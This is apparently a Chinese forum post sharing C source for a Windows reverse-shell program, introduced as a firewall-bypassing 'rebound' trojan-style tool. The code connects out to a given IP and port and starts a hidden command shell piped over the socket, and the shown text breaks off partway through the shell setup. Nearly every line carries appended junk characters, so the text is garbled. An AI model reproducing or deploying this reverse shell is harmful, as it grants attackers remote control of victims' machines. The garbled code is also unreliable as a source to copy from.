这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 z"=#<C
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/* ============================== hi`\3B
Rebound port in Windows NT R l^ENrv!]
By wind,2006/7 "9&6bBa
===============================*/ T&w3IKb|}
#include 4F)z-<-b
#include d]0fgwwGC
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#pragma comment(lib,"wsock32.lib") ^r}^-
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void OutputShell(); ~Pv4X2MO
SOCKET sClient; j'X]bd'
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; \&Mipf7a
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void main(int argc,char **argv) jxZR%D
{ )$#ov-]
WSADATA stWsaData; ;jo,&C
int nRet; A_CEpG]
SOCKADDR_IN stSaiClient,stSaiServer; 2oGl"3/p
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if(argc != 3) ZiSy&r:(
{ kQsyvE
printf("Useage:\n\rRebound DestIP DestPort\n"); d Am(uJ
return; a% Q.8
} ]lXTIej`dy
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WSAStartup(MAKEWORD(2,2),&stWsaData); YB*ZYpRVl
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $s)G0/~W
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stSaiClient.sin_family = AF_INET; R1&(VK{
stSaiClient.sin_port = htons(0); iNT 1lk
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); :G9.}VrU
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) [NQ`S
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{ >]&LbUW+
printf("Bind Socket Failed!\n"); {h7*a=
return; 600-e;p
} x5c
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stSaiServer.sin_family = AF_INET; Fwm{oypg%
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); [8^jwnAYS
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Y9'Bdm/
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) *h-_
{ L/"u,~[
printf("Connect Error!"); r[Qk-}@vp
return; DSM,dO'
} kbI:}b7H
OutputShell(); y9=/kFPRm
} QG4#E$c
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void OutputShell() p6A"_b^
{ ZgcA[P
char szBuff[1024]; y4/>3tz;
SECURITY_ATTRIBUTES stSecurityAttributes; 5Q?7 xTQ
OSVERSIONINFO stOsversionInfo; HZ>Xm6DnC5
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; +s
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STARTUPINFO stStartupInfo; I8Y[d$z
char *szShell; 2(\~z@g
PROCESS_INFORMATION stProcessInformation; wbUpD(
unsigned long lBytesRead; `-hFk88
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); H/|Mq#K
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); k =ru)
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stSecurityAttributes.lpSecurityDescriptor = 0; #]_S{sO
stSecurityAttributes.bInheritHandle = TRUE;
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); fM]zD/ g
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); >dUnk)7
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); PxM]3Aoa
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; u#/Y<1gn
stStartupInfo.wShowWindow = SW_HIDE; %F3M\)jU
stStartupInfo.hStdInput = hReadPipe; zF>|
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stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; {-PD3 [f"
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GetVersionEx(&stOsversionInfo); 17a'C
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switch(stOsversionInfo.dwPlatformId) )|x)KY
{ c]P`U(q9TV
case 1: Zoh2m`6
szShell = "command.com"; IR;lt 3
break; J-:\^uP
default: ^.&